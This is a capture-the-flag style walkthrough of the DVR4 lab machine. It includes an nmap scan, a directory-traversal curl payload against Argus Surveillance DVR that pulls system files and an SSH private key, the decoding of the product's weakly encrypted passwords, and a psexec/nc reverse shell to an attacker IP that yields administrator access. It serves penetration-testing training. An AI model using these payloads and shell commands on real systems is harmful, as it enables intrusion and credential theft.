Home DVR4
Post
Cancel

DVR4

Machine Information

  • Machine Name: DVR4
  • Machine Difficulty: Medium

Information Gathering

Classic nmap time

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Nmap scan report for 192.168.144.179                                                                                                                                                                                       22:22:47 [87/174]
Host is up, received user-set (0.018s latency).                                                                                                                                                                                             
Scanned at 2024-10-14 21:32:19 +08 for 630s                                                                                                                                                                                                 
Not shown: 65404 closed tcp ports (reset), 118 filtered tcp ports (no-response)                                                                                                                                                             
PORT      STATE SERVICE       REASON          VERSION                                                                 
22/tcp    open  ssh           syn-ack ttl 125 Bitvise WinSSHD 8.48 (FlowSsh 8.48; protocol 2.0; non-commercial use)
| ssh-hostkey:                                                                                                        
|   3072 21:25:f0:53:b4:99:0f:34:de:2d:ca:bc:5d:fe:20:ce (RSA)            
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsljcHdJN7STx92SFZR/dtzDsO0v1blAoUfqWva1WJD9WXeKe0S9Oeg4L1eXC6ik5O6+lE7SRqz7Qiudrhk9CXxB0tmmX2SpZKMg1l01wmO5QEhpeuhDOb062dCDc1byOkpbBJq93afwVOEiaCOMVVjnwvJ5MFmZQzBcb02rmHKH7+o2BjMukTA8coWhCc2cqyEg
PA031zSYCkdzxLlgHJMUlbDDtD0D143rLPZ6CtP5Nbxpbt/2Hj3thq7GQzToNdgCYCEIMg6Gs4xYHLO4lKcOb92wFdEtx+hA7xFxGOldfmEU4f3jyDSFazolJU4TxzewQ/kIi1W4Cj+tarEVTC6sBUAhHZSLAj5nkz7rljJIXiM8hYp6VMcpsqa1dtlwspeiFXL2RizuQgUzabzsQGmZ0Yu501ieYy1i7mIEWzO2UUx3
tnCn9YKAh30jYQQvXYB+oUGuQqDIQh1f0Ds/Jd1IkFMJ8EZQ8Iaoa1UVpxupdZ8jtBm3BKT5+sVtJ4jwE=
|   384 e7:96:f3:6a:d8:92:07:5a:bf:37:06:86:0a:31:73:19 (ECDSA)           
|_ecdsa-sha2-nistp384 AAAAE2VjZHNhLXNoYTItbmlzdHAzODQAAAAIbmlzdHAzODQAAABhBEqSs/ONYXuZGcGBUkLstnAWRP6wNsuJz6yUtmYymbBUobb797y3tkgWkCUhaDsB3z8XzhgoyCXS6MuXqF3FmiapitvPj1ig5TnVnHRvzuB2beKi/cH2XBduyaaKO6AORg==
135/tcp   open  msrpc         syn-ack ttl 125 Microsoft Windows RPC       
139/tcp   open  netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 125                                                                         
5040/tcp  open  unknown       syn-ack ttl 125                                                                         
7680/tcp  open  tcpwrapped    syn-ack ttl 125                                                                         
8080/tcp  open  http-proxy    syn-ack ttl 125                                                                         
|_http-generator: Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE] 
| fingerprint-strings:                                                                                                
|   GetRequest, HTTPOptions:                                                                                          
|     HTTP/1.1 200 OK                                                                                                 
|     Connection: Keep-Alive                                                                                          
|     Keep-Alive: timeout=15, max=4                                                                                   
|     Content-Type: text/html                                                                                         
|     Content-Length: 985                                                                                             
|     <HTML>                                                                                                          
|     <HEAD>                                                                                                          
|     <TITLE>                                                                                                         
|     Argus Surveillance DVR                                                                                          
|     </TITLE>                                                                                                        
|     <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|     <meta name="GENERATOR" content="Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]">
|     <frameset frameborder="no" border="0" rows="75,*,88">               
|     <frame name="Top" frameborder="0" scrolling="auto" noresize src="CamerasTopFrame.html" marginwidth="0" marginheight="0"> 
|     <frame name="ActiveXFrame" frameborder="0" scrolling="auto" noresize src="ActiveXIFrame.html" marginwidth="0" marginheight="0">
|     <frame name="CamerasTable" frameborder="0" scrolling="auto" noresize src="CamerasBottomFrame.html" marginwidth="0" marginheight="0"> 
|     <noframes>
|     <p>This page uses frames, but your browser doesn't support them.</p>
|_    </noframes>
| http-methods: 
|_  Supported Methods: HEAD POST OPTIONS
|_http-title: Argus Surveillance DVR
49664/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC

Start with web port first.

Port 8080

Explore the website and see what’s in it.

It seems like some service running on the website. Google and check for potential vulnerability. A exploit was found which the services is vulnerable to directory traversal.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
curl "http://192.168.144.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]

After testing the exploit, I could perform directory traversal. My assumption now was to get id_rsa since port 22 is opened but I need some user to get it. After wondering at the website for awhile, I noticed there’s some username provided.

Since I have some username, I tried to get id_rsa using the username and hope to get it using directory traversal.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
curl "http://192.168.144.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2FViewer%2F.ssh%2F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wriuKQPEJhySYJbhopvFLyL+PYfxD6nAhhbr6xxNGHeK/G1/Ge5Ie/vp5cqq
SysG5Z3yrVLvW3YsdgJ5fGlmhbwzSZpva/OVbdi1u2n/EFPumKu06szHLZkUWK8Btxs/3V
8MR1RTRX6S69sf2SAoCCJ2Vn+9gKHpNQAAAMEAzVmMoXnKVAFARVmguxUJKySRnXpWnUhq
Iq8BmwA3keiuEB1iIjt1uj6c4XPy+7YWQROswXKqB702wzp0a87viyboTjmuiolGNDN2zp
8uYUfYH+BYVqQVRudWknAcRenYrwuDDeBTtzAcY2X6chDHKV6wjIGb0dkITz0+2dtNuYRH
87e0DIoYe0rxeC8BF7UYgEHNN4aLH4JTcIaNUjoVb1SlF9GT3owMty3zQp3vNZ+FJOnBWd
L2ZcnCRyN859P/AAAAFnZpZXdlckBERVNLVE9QLThPQjJDT1ABAgME
-----END OPENSSH PRIVATE KEY-----

Now that I got the id_rsa, time to save it into a file and login with ssh.

Port 22

1
2
3
4
ssh -i id_rsa viewer@192.168.144.179
Terminal initialization failure. See server logs for more info.
Hint: Try requesting a different terminal environment.
Connection to 192.168.144.179 closed.

It seems like there’s something wrong with the terminal environment. I then run export TERM=xterm to make the ssh works.

1
2
3
4
5
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.

C:\Users\viewer>whoami
dvr4\viewer

Now that I have shell, it’s time to privilege escalation to get administrator user.

Privilege Escalation

Always run winpeas will do. Aside on the winpeas result, I noticed an exploit when seraching for foothold. This seems to allow me to get credentials so I have a look into it.

1
2
3
4
5
6
C:\Users\viewer>type "C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini"
...
Password0=ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8
...
Password1=5E534D7B6069F641E03BD9BD956BC875EB603CD9D8E1BD8FAAFE
...

It really has some weird hash inside. I then use the script to on both the hash and see if I could get any potential creds.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
python 50130.py
                                                           
#########################################
#    _____ Surveillance DVR 4.0         #
#   /  _  \_______  ____  __ __  ______ #
#  /  /_\  \_  __ \/ ___\|  |  \/  ___/ #
# /    |    \  | \/ /_/  >  |  /\___ \  #
# \____|__  /__|  \___  /|____//____  > #
#         \/     /_____/            \/  #
#        Weak Password Encryption       #
############ @deathflash1411 ############
                                                           
[+] ECB4:1
[+] 53D1:4
[+] 6069:W
[+] F641:a
[+] E03B:t
[+] D9BD:c
[+] 956B:h
[+] FE36:D
[+] BD8F:0
[+] 3CD9:g
[-] D9A8:Unknown

python 50130.py

#########################################
#    _____ Surveillance DVR 4.0         #
#   /  _  \_______  ____  __ __  ______ #
#  /  /_\  \_  __ \/ ___\|  |  \/  ___/ #
# /    |    \  | \/ /_/  >  |  /\___ \  #
# \____|__  /__|  \___  /|____//____  > #
#         \/     /_____/            \/  #
#        Weak Password Encryption       #
############ @deathflash1411 ############

[+] 5E53:I
[+] 4D7B:m
[+] 6069:W
[+] F641:a
[+] E03B:t
[+] D9BD:c
[+] 956B:h
[+] C875:i
[+] EB60:n
[+] 3CD9:g
[+] D8E1:Y
[+] BD8F:0
[+] AAFE:u

The first result has unknown because the author did not add all the special character into the script. here’s a list of potential password.

14WatchD0g!
14WatchD0g@
14WatchD0g#
14WatchD0g$
14WatchD0g%
14WatchD0g^
14WatchD0g&
14WatchD0g*
14WatchD0g(
14WatchD0g)
14WatchD0g_
14WatchD0g+
14WatchD0g-
14WatchD0g=
14WatchD0g[
14WatchD0g]
14WatchD0g{
14WatchD0g}
14WatchD0g|
14WatchD0g\
14WatchD0g:
14WatchD0g;
14WatchD0g"
14WatchD0g'
14WatchD0g<
14WatchD0g>
14WatchD0g,
14WatchD0g.
14WatchD0g/
14WatchD0g?
ImWatchingY0u

Now I have a list of password. I tried brute forcing ssh and attempt to get administrator account but no potential password was found. I then noticed that’s a nc.exe and psexec.exe provided.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
C:\Users\viewer>dir                                                                                                                                                                                                                         
 Volume in drive C has no label.                                                                                                                                                                                                            
 Volume Serial Number is 08DF-534D                                                                                                                                                                                                          
                                                                                                                                                                                                                                            
 Directory of C:\Users\viewer                                                                                                                                                                                                               
                                                                                                                                                                                                                                            
02/16/2022  08:02 AM    <DIR>          .                                                                                                                                                                                                    
02/16/2022  08:02 AM    <DIR>          ..                                                                                                                                                                                                   
12/03/2021  01:22 AM    <DIR>          .ssh                                                                                                                                                                                                 
12/03/2021  01:21 AM    <DIR>          Desktop                                                                                                                                                                                              
12/03/2021  01:21 AM    <DIR>          Documents                                                                                                                                                                                            
03/18/2019  09:52 PM    <DIR>          Downloads                                                                                                                                                                                            
03/18/2019  09:52 PM    <DIR>          Favorites                                                                                                                                                                                            
03/18/2019  09:52 PM    <DIR>          Links                                                                                                                                                                                                
03/18/2019  09:52 PM    <DIR>          Music                                                                                                                                                                                                
04/20/2022  09:55 AM            59,392 nc.exe                                                                                                                                                                                               
03/18/2019  09:52 PM    <DIR>          Pictures                                                                                                                                                                                             
04/20/2022  09:55 AM           834,936 psexec.exe                                                                                                                                                                                           
03/18/2019  09:52 PM    <DIR>          Saved Games                                                                                                                                                                                          
03/18/2019  09:52 PM    <DIR>          Videos                                                                                                                                                                                               
               2 File(s)        894,328 bytes                                                                                                                                                                                               
              12 Dir(s)   7,606,587,392 bytes free                                                                                                                                                                                          
              

I then decided to try using psexec.exe since it accepts password input.

1
2
3
4
5
C:\Users\viewer>.\psexec.exe -u administrator -p 14WatchD0g$ -i C:\Users\viewer\nc.exe 192.168.45.177 1234 -e cmd                                                                                                                           
                                                                                                                                                                                                                                            
PsExec v2.34 - Execute processes remotely                                                                                                                                                                                                   
Copyright (C) 2001-2021 Mark Russinovich                                                                                                                                                                                                    
Sysinternals - www.sysinternals.com                                                                                                                                                                                                         
1
2
3
4
5
6
7
8
9
nc -nvlp 1234                                       
listening on [any] 1234 ...
connect to [192.168.45.177] from (UNKNOWN) [192.168.144.179] 50542
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
dvr4\administrator

After trying the password one by one, there’s one password that works and I managed to get a reverse shell.

Things I learned from this machine

  • always look for existing exploit for both foothold and privilege escalation
  • simple usage of psexec.exe
This post is licensed under CC BY 4.0 by the author.

Cicada

Access